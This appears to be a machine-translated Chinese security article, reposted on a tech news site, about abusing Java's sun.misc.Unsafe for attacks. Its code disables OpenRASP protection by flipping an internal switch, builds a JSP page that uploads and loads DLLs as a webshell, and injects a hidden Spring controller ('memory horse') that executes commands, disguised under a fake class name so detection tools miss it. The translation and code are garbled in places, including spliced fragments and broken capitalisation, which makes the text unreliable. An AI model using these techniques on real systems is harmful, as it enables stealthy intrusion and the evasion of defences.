In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/01 Report--
In this article, the editor introduces in detail "the use of Unsafe in Java in the field of security", the content is detailed, the steps are clear, and the details are handled properly. I hope that this article "the use of Unsafe in the field of security in Java" can help you solve your doubts.
0 preface
There are many useful methods in unsafe, such as allocateInstance can create instance objects directly, defineAnonymousClass can create an VM anonymous class (VM AnonymousClass), and modify the value of objects directly from the memory level.
1 basic use
The first step is to get the Unsafe object, which generally uses reflection to obtain Unsafe, otherwise it will be intercepted by Java security mechanism. The code is as follows
Public static Unsafe getUnsafe () throws Exception {Class aClass = Class.forName ("sun.misc.Unsafe"); Constructor declaredConstructor = aClass.getDeclaredConstructor (); declaredConstructor.setAccessible (true); Unsafe unsafe= (Unsafe) declaredConstructor.newInstance (); return unsafe;} 1.1 memory level modification
The first thing to mention here is that in jvm, the Field of the instance is stored regularly, as can be seen in the knowledge of JVM, and the corresponding field value can be found in memory through an offset. The methods to get the offset in Unsafe are staticFieldOffset (Field var1) and objectFieldOffset (Field var1). Entering a Field object returns the memory offset of the Field in its corresponding class. Through the obtained offset, you can further call putInt, putLong, putObject and other methods to modify the field of the instance.
For example:
Package com.bitterz.unsafe;import sun.misc.Unsafe;import java.lang.reflect.Constructor;import java.lang.reflect.Field;public class UnsafeTest {private int a = 1; private String string = "whoami"; public UnsafeTest () {} public void test () {} public static void main (String [] args) throws Exception {Unsafe unsafe = getUnsafe (); UnsafeTest unsafeTest = new UnsafeTest () / modify int Field f = Class.forName ("com.bitterz.unsafe.UnsafeTest"). GetDeclaredField ("a"); long l = unsafe.objectFieldOffset (f); unsafe.putInt (unsafeTest, l, 9999); System.out.println (unsafeTest.a); / / modify string Field f2 = Class.forName ("com.bitterz.unsafe.UnsafeTest"). GetDeclaredField ("string") Long L2 = unsafe.objectFieldOffset (f2); unsafe.putObject (unsafeTest, L2, "bitterz"); System.out.println (unsafeTest.string);} public static Unsafe getUnsafe () throws Exception {Class aClass = Class.forName ("sun.misc.Unsafe"); Constructor declaredConstructor = aClass.getDeclaredConstructor (); declaredConstructor.setAccessible (true); Unsafe unsafe= (Unsafe) declaredConstructor.newInstance (); return unsafe;}
The output result is
However, this modification method is not effective for final and static modified field. In addition, the field value of the instance can be obtained by offset using methods such as getInt (), getObject (), and so on, which can also be used as a bypass when reflection is restricted.
1.2 create objects
There is an allocateInstance method in Unsafe that can ignore constructors and directly use class objects to build instances. This method can often reduce the obstacles that reflection may encounter when creating instances, such as class dependencies.
For example, if the Unsafe is created using reflection and cannot be created directly, then you can create it using unsafe (just for demonstration purposes.)
1.3Create VM Anonymous Class
VM Anonymous Class is not the same as an anonymous class, which has the following characteristics (excerpted from https://paper.seebug.org/1785):
1. The class name can be the name of an existing class, such as java.lang.File. Even so, there will be no problem. The dynamic compilation feature of java will generate a class named java.lang.File/13063602@38ed5306 in memory. -will make class names very deceptive
2. The classloader of the class is null. -the classloader is null in java is the class from BootstrapClassLoader, which is often recognized as jdk with class
3. There are a large number of class generated by dynamic compilation in JVM (mostly generated by lamada expressions), and this kind of class will not fall off the disk, so it does not belong to the exception feature if it does not drop the disk.
4. The relevant content of the class cannot be obtained through Class.forName (). -testing tools that seriously affect the safety of this type of troubleshooting through reflection
5. In some versions of jdk, VM Anonymous Class can't even do restransform. -which means we can't fix this malicious class through attach API.
6. The className of the class in transform will be its template class name. -this will greatly mislead tools that detect memory horses through attach.
The method of use is as follows
The first parameter of the defineAnonymousClass method can be passed in any class object, and the second parameter needs to pass in the bytecode of a class. It is easier to use javassist here. The third parameter can be set to null.
After execution, you get a class object, get the instance through newInstance, and then call the toString method of the anonymous class to pop up a calculator. Then output the class name of the anonymous class and compare it with the class name of Unsafe. You can see that the class name created with defineAnonymousClass will be followed by "/ xxxxxxxx", which is also a feature, but this class cannot be obtained through Class.forName, so an error is reported below.
In the way of attach, take a look at the detection of this class. I have written notes related to rasp before, so I can directly bring it over and use it.
After getting this class in transform, I directly reported an error and took a look at the error log. In fact, there was a problem when returning the bytecode in transform, because as mentioned earlier, in some jdk, VM AnonymousClass cannot be retransform. I use jdk1.8u40 here. However, it is not good to end the program directly. For example, after inserting the memory horse, the target uses the attach mechanism to scan the classes loaded in jvm, which directly causes the Web program to crash, and the business must not bring a knife to kill security.) it may be prudent to use this point for memory horses.
2 use posture 2.1 to modify the value to turn off RASP and other defensive measures
As mentioned earlier, the value can be modified directly through Unsafe, so if the target has RASP, you can consider changing the switch of RASP.
Try {Class clazz = Class.forName ("com.baidu.openrasp.HookHandler"); Unsafe unsafe = getUnsafe (); InputStream inputStream = clazz.getResourceAsStream (clazz.getSimpleName () + ".class"); byte [] data = new byte [inputStream.available ()]; inputStream.read (data); Class anonymousClass = unsafe.defineAnonymousClass (clazz, data, null); Field field = anonymousClass.getDeclaredField ("enableHook"); unsafe.putObject (clazz, unsafe.staticFieldOffset (field), new AtomicBoolean (false)) } catch (Exception e) {}
Or use the method mentioned by the rebeyond master to build the insturmentation object manually, and then remove the RASP stuffing code from the class that executes the command.
2.2 create a NativeLibrary object to implement webshell
The idea here comes from master SummerSec's article, through java.lang.ClassLoader$NativeLibrary#load (String, Boolean) method, load a dll file, and dll file can achieve a variety of attacks, such as uploading a jsp file, only used to load dll, while different dll to achieve the internal network penetration, bounce Shell, Trojan and command execution and other functions, upload the corresponding dll file when the attack.
Using https://github.com/SummerSec/Loader/blob/main/AddDllDemo.jsp for reference, I changed the code slightly to integrate uploading files and loading dll into a jsp.
Parsed base64 data:
Var input = document.getElementById ("fielinput"); input.addEventListener ('change', readFile, false); function readFile () {var file = this.files [0]; var reader = new FileReader (); / / returns a new FileReader function reader.readAsDataURL (file); reader.onload = function (e) {txshow.src = this.result; document.getElementById ("data") .innerText = this.result.substring (this.result.indexOf (',') + 1) }} > aClass = Class.forName ("sun.misc.Unsafe"); Constructor declaredConstructor = aClass.getDeclaredConstructor (); declaredConstructor.setAccessible (true); Unsafe unsafe= (Unsafe) declaredConstructor.newInstance (); ClassPool classPool = ClassPool.getDefault (); CtClass ctClass = classPool.makeClass ("java.lang.String"); CtMethod toString = CtMethod.make ("public String toString () {java.lang.Runtime.getRuntime (). Exec (\" calc\ "); return null;}", ctClass) ToString.setName ("toString"); ctClass.addMethod (toString); byte [] bytes = ctClass.toBytecode (); Class anonymousClass = unsafe.defineAnonymousClass (File.class, bytes, null); / / insert memory horse WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes (). GetAttribute ("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); / / 1. Get the instance of RequestMappingHandlerMapping from the current context bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean (RequestMappingHandlerMapping.class); AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean (AbstractHandlerMethodMapping.class); Method method = Class.forName ("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping"). GetDeclaredMethod ("getMappingRegistry"); method.setAccessible (true); Object mappingRegistry = (Object) method.invoke (abstractHandlerMethodMapping); Field field = Class.forName ("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"). GetDeclaredField ("urlLookup") Field.setAccessible (true); Map urlLookup = (Map) field.get (mappingRegistry); Iterator urlIterator = urlLookup.keySet (). Iterator (); String injectUrlPath = "/ malicious"; / / inserted url while (urlIterator.hasNext ()) {String urlPath = (String) urlIterator.next (); if (injectUrlPath.equals (urlPath)) {System.out.println ("URL already exists"); return "exist" }} / / 2. Obtain the unique Method object Method method2 = anonymousClass.getDeclaredMethod ("toString") in the custom controller through reflection; / / 3. Define the URL address PatternsRequestCondition url = new PatternsRequestCondition (injectUrlPath) to access the controller; / / 4. Define the HTTP method (GET/POST) that allows access to controller RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); / / 5. Dynamically register controller RequestMappingInfo info = new RequestMappingInfo (url, ms, null, null) in memory; / / InjectAnonymousClass InjectAnonymousClass = new InjectAnonymousClass ("aaa"); Object o = anonymousClass.newInstance (); mappingHandlerMapping.registerMapping (info, o, method2); return "injected!"; / / index.html} is automatically returned here based on the comments
Start the project, and then access the url corresponding to the controller. The result is as follows
Injection successful, visit / malicious
Since only the bullet calculator is written in the malicious code, and no return statement is written, tomcat will return 404 when looking for malicious.jsp. Take a look at the description of the url in debug mode
The class name is java.lang.String/179284069 only at beanType, and java.lang.String everywhere else. The class name of the anonymous class can be set at will, so with a little modification, it can be fake. For example, get the org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry first, traverse it, randomly find a controller class name and method name, then echo it, and then write the same package and method name for the malicious class, and url will make up one according to the law of Web application. In this way, you can still deceive the detection method judged by package and method name. In addition, VM Anonymous Class can't get the bytecode, so it can dodge a bullet.
2.4 shellcode and instrumentation object construction
Unsafe class can also operate on memory, which is widely used in rebeyond master's article on java memory attack technology. Finally, through memory-level operations, you can directly build instrumentation objects and modify java code in jvm; or execute shellcode, thus bypassing RASP to achieve command execution, file read and write and other operations.
After reading this, the article "how to use Unsafe in Java in the field of security" has been introduced. If you want to master the knowledge of this article, you still need to practice and use it before you can understand it. If you want to know more about related articles, welcome to follow the industry information channel.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.